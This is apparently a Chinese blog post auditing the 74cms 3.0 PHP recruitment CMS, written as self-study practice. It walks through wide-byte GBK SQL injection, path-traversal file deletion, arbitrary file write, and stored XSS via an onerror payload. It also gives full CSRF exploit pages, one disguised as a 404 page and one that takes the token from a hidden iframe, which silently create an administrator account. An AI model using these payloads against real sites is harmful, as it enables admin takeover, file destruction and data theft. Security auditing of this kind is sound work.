MENU

74cms3.0代码审计

March 3, 2022 • Read: 476 • Code auditing

总体分析

index.php
`0Y_DV$GHP7X6NNHDE~MYGY.png

跟进common.inc.php
BR{GVZGC[V%4~F@TZPWP0$R.png

跟进addslashes_deep函数
E0KF-CY-5IF-OMJ-W-SEV-png

然后发现是对GET,POST,COOKIE,REQUEST参数进行了sql注入的过滤和xss过滤,而且目前没有发现解码函数让我们进行二次注入,但是并没过滤IP所以找下会不会有IP注入呢?
然后在后面
WU2M}PEIOG7_7FR}6}MW)GB.png

发现了ip也是被正则过滤了的,但是还是可以进行IP伪造,在往下看
有一个值得关注的地方,就是sql统一操作函数inserttable和updatetable,大多数sql语句执行都会经过这里
所以我们应该要关注这个地方是否还存在过滤
X~YEWW672@$FE6TZIH.png

然后就是之后的wheresql函数,这里是sql语句进行where条件拼接的地方,可以看见所有参数都是被单引号包裹了的
)CGHJH$QUK$D_T4TS7@N[}3.png

目前来看只要包含了common.fun.php的都对sql和xss有一定的过滤,除非有二次注入或者宽字节特殊情况
当然只是对index.php进行了简单分析,还未对后台和功能点进行审计

漏洞解析

SQL注入一

之前分析了对sql注入有一定的过滤
但是我又看了下mysql的配置文件
}64L{1G00QIM5F~6QBRDH9C.png

发现设置为编码方式gbk,所以可能存在宽字节注入
初步审计后台部分,在admin_login.php,它包含了config.php和admin_common.inc.php
其中config.php是c数据库的配置,admin_common.inc.php文件主要作用和上面分析的common.inc.php差不多,都是过滤和初始化作用
然后关键点在这
~~M[$02GT)STAI7}CB`@YH1.png

可以发现登录成功的关键就是check_admin和get_admin_one
跟进check_admin
_SV)9NG)$RB~[0Y%G11US`4.png

然后跟进get_admin_one函数,发现只是对用户名进行了双引号包含
QF4SWNHC$INV0PV(I24T){5.png

由于密码被md5加密了的,然后用户名只是经过过滤也就是在',",,null前面加了进行转义了,并没有其他过滤,并且之前也说了,编码方式为GBK
所有这里就存在宽字节注入用%df%27即可造成注入

SQL注入二

这是已经登录成功之后基本信息
也就是user/user_company_points.php
{7O6FH3DUU0(I_SCLOHO.png

意思就是当$act=='userprofile_save'的时候,我们就能将POST接收到数据进行更新或者插入,在被代码块中除了头部整体使用过addslashes函数以外,并没有其他的过滤。
跟进get_userprofile
BMH8%)8<code>5JXQN</code>)[@3XV647.png

有intal函数的限制,意味着uid无法利用
然后就是updatetable函数,假设用户已经填写过个人资料,更新资料会进入updatetable函数,函数在/include/common.fun.php
0X$F_@F6SDKL@()~6S15)A.png

这其中只是将参数数组话处理和转义了,然后将保存的个人信息渲染到html页面中,所有依旧存在宽字节注入

任意文件删除

J`WG5%F3ES}H[IIKWXFRYY5.png

文件地址在这
62NG1@4CF%UT09A805(9SS7.png

  • 1.当act参数为del_img的时候会进入删除文件流程。
  • 2.程序首先获取GET传输过来的ID,在获取GET传输过来的img图像,然后进入数据库查询ID(用来双引号进行限制)
  • 3.最后调用unlink删除$img所存在的文件(对目录没有限制,所有可以通过目录跳转进行任意文件删除)

payload:

http://ip/admin/admin_article.php?act=del_img&img=../../任意存在文件名

任意文件写入

4JUDTVYTBUT1@)(0TT{CU.png

文件位置在这
YPWV$`~MG[EV8_@3RU9J3}M.png

跟进check_permissions函数
S(CV4SGA2{D)%4FZI8[~@NI.png

发现没有什么过滤,这只是一个许可认证
然后就是发现这里首先获取模板名字tpl_name和模板内容tpl_content,然后在使用$_POST[‘tpl_dir’]拼接文件保存路径,最后文件打开文件,写入文件内容。
payload:

http://ip/admin/admin_templates.php?act=do_edit
(POST)tpl_name=文件命&tpl_content=文件内容

存储型XSS

大家都知道xss漏洞是见框就插,但是最容易出现的地方还是评论,留言,友链等
所有这漏洞利用文件点在link/add_link.php
7A_(X%59L@~R}3W1M0BAFHV.png

检测网站是否开启自助申请链接,如果没有,将阻止用户申请。
名字、URL、logo、说明等赋值到setsqlarr数组,最后将数据插入到数据库中。 包含了文件/include/common.inc.php,所有过滤一些xss标签
/admin/admin_link.php也是处理友链的文件
G9(HAP9`5797A68NT6T2907.png

然后跟进get_links()函数,将添加的链接信息从数据库中取出渲染到前台link/admin_link.htm页面中
G9(HAP9`5797A68NT6T2907.png

然后在htm文件58行中

<span style="color:#FF6600" title="<img src= border=0/>" class="vtip">[logo]</span>

我们可以看到前台将link_logo
以变量值作为img标签的读取源,虽然有去标签的处理,但是这里我们不需要加入标签,利用onerror事件也可以进行XSS攻击
payload:

http://ip/link/add_link.php?act=save
(POST)alias=QS_index&link_name=123&link_url=123&link_logo=%23+onerror%3Dalert%28%2Fxss%2F%29&app_notes=&Submit=%CC%E1%BD%BB

CSRF

众所周知这个漏洞利用场景就是横向或者垂直越全
所有利用点很容易出现在用户相关的文件里面
admin/admin_users.php
S20VG<code>)F6%A</code>DIL29GXWYGA.png

执行添加管理员操作。代码段第一行首先检查当前用户是否权限添加,
然后检测是否存在,跟进
$)5<code>1)(~A9LFZUOFU1XO)</code>7.png

发现经过双引号转为字符串了利用不了
然后进行邮箱格式认证,后面也就是添加账号的流程了
但是最重要的一点就是需要管理员权限
所有这里需要诱导管理员来点击我们构造的payload

<html>
<head>
    <meta charset="utf-8">
    <title>看点好看的</title>
    <script>
        function  add() {
            var  xmlhttp = new XMLHttpRequest();
            var  xmldata = 'admin_name=m1&email=123456@qq.com&password=123456&password1=123456&rank=1qi&submit3=%CC%ED%BC%D3';
            xmlhttp.open('POST','http://ip/admin/admin_users.php?act=add_users_save',true);
            xmlhttp.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
            xmlhttp.withCredentials='true'; //跨域请求是否提供凭证
            xmlhttp.send(xmldata);
        }
    </script>
</head>
<body "add()">
    <img src="m1.mp4">
<!--    <video width="544" height="960" controls>-->
<!--        <source src="3333.gif" type="video/mp4">-->
<!--        您的浏览器不支持 HTML5 video 标签-->
<!--    </video>-->

</body>
</html>

但是另外在74cms 3.6版本中添加了token机制认证,没怎么遇见过这个利用,所有找了一下网上Somnus师傅的payload
先构造一个404页面让管理员点击

<!DOCTYPE html>
<html>
<head>
    <title>404 Not Found</title>
</head>
<body>
<h1>Not Found</h1>
<p>The requested URL /info.php was not found on this server.</p>
<script>
        function  add() {
            var  xmlhttp = new XMLHttpRequest();
            var  xmldata = 'admin_name=test2&email=1234%40123.com&password=123456&password1=123456&rank=123&submit3=%CC%ED%BC%D3';
              xmlhttp.open('POST','http://ip/admin/admin_users.php?act=add_users_save',true);
            xmlhttp.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
            xmlhttp.withCredentials='true'; 
            xmlhttp.send(xmldata);
        }
        add();
</script>

</body>
</html>

页面利用ajax技术在后台将注册信息提交到admin/admin_users.php
我们知道token认证机制是取出当前页面提交的token与存放在Session中的token值进行比较,相同则通过验证,每当我们刷新一次页面,token值就会发生变化。但是我们仍然可以进行CSRF攻击,办法就是利用iframe框架访问token值的页面,再利用js代码获取token值与信息一起提交即可,附上3.6版本csrf攻击的代码:

<!DOCTYPE html>
<html>
<head>
    <title>404 Not Found</title>
</head>

<script type="text/javascript">
        function  add() {
            var token = document.getElementById('hack').contentWindow.document.getElementsByName('hiddentoken')[0].value;
            var  xmlhttp = new XMLHttpRequest();
            var  xmldata = 'admin_name=test2&email=1234%40123.com&password=123456&password1=123456&rank=123&submit3=%CC%ED%BC%D3&hiddentoken='+token;
            xmlhttp.open('POST','http://127.0.0.1/74cms3.6/admin/admin_users.php?act=add_users_save',true);
            xmlhttp.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
            xmlhttp.withCredentials='true'; 
            xmlhttp.send(xmldata);
        }
</script>

<iframe src="http://127.0.0.1/74cms3.6/admin/admin_users.php?act=add_users" id='hack' border='0' style='display:none'>
</iframe>

<body onload="add()">
<h1>Not Found</h1>
<p>The requested URL /info.php was not found on this server.</p>
</body>

</html>

结语

之前就只是简单的跑了一下,做了点笔记,最近在看代码审计的书就再练练手

Last Modified: March 27, 2022
Archives Tip
QR Code for this page
Tipping QR Code